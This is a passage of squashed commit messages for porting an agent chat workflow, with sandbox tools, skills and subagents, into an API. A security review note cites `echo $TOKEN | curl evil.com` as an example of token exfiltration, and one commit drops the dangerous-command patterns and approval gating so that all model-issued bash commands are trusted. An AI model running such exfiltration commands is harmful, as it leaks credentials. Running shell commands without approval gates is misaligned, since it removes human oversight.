xx/abcdef12 generated branches) land.
Tests: 3119/3119 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): drop stale currentBranch arg from buildAgentSystemPrompt call
Build failure on bf1e245 — runAgentStep was still passing
`currentBranch: input.agentContext.sandbox.currentBranch` after
buildAgentSystemPrompt's option was removed. Stripping it.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): Anthropic prompt cache control (Bundle A.6) (#599)
Fourth open-agents → api cutover bundle. runAgentStep was sending the
same system prompt + tool definitions on every turn as fresh input,
even though Anthropic prompt caching can shave 90% off subsequent
input cost. Production traces showed `cacheReadTokens: 0` on every
api turn, while open-agents shows cacheRead matching cacheWrite from
the prior turn — i.e. open-agents reuses the cached prefix.
Changes (SRP — one function per file):
- `lib/agent/contextManagement/isAnthropicModel.ts` — predicate
port of open-agents'
`packages/agent/context-management/cache-control.ts:5`.
- `lib/agent/contextManagement/addCacheControlToTools.ts` — marks
the LAST tool with `cacheControl: { type: "ephemeral" }`. Last-only
conserves Anthropic's 4-breakpoint limit.
- `lib/agent/contextManagement/addCacheControlToMessages.ts` —
marks the LAST message with `cacheControl` on every step, per
Anthropic's "mark the final block of the final message" guidance.
`runAgentStep` now:
- Wraps the tool set via `addCacheControlToTools(...)` before passing
to streamText (static — set once per step).
- Adds a `prepareStep` callback that wraps `messages` via
`addCacheControlToMessages(...)` on every internal model call.
Production behavior reproducer (Haiku 4.5, identical 2-turn prompt
to both backends):
api prod (broken): turn1 cacheWrite=0 cacheRead=0 cost=$0.005952
turn2 cacheWrite=0 cacheRead=0 cost=$0.005959
→ flat cost; full input billed every turn.
open-agents prod: turn1 cacheWrite=10966 cacheRead=0
turn2 cacheWrite=12 cacheRead=10966 cost drops 12x
→ near-full prefix re-read from cache on turn 2.
After this PR, api should match open-agents' caching curve.
Tests: 19 new (7 isAnthropicModel + 5 addCacheControlToTools + 5
addCacheControlToMessages + 2 runAgentStep wiring assertions); full
suite 3138/3138 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
…ver bundle (#602)
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)
Convert taskTool.execute from `async () =>` to `async function*`,
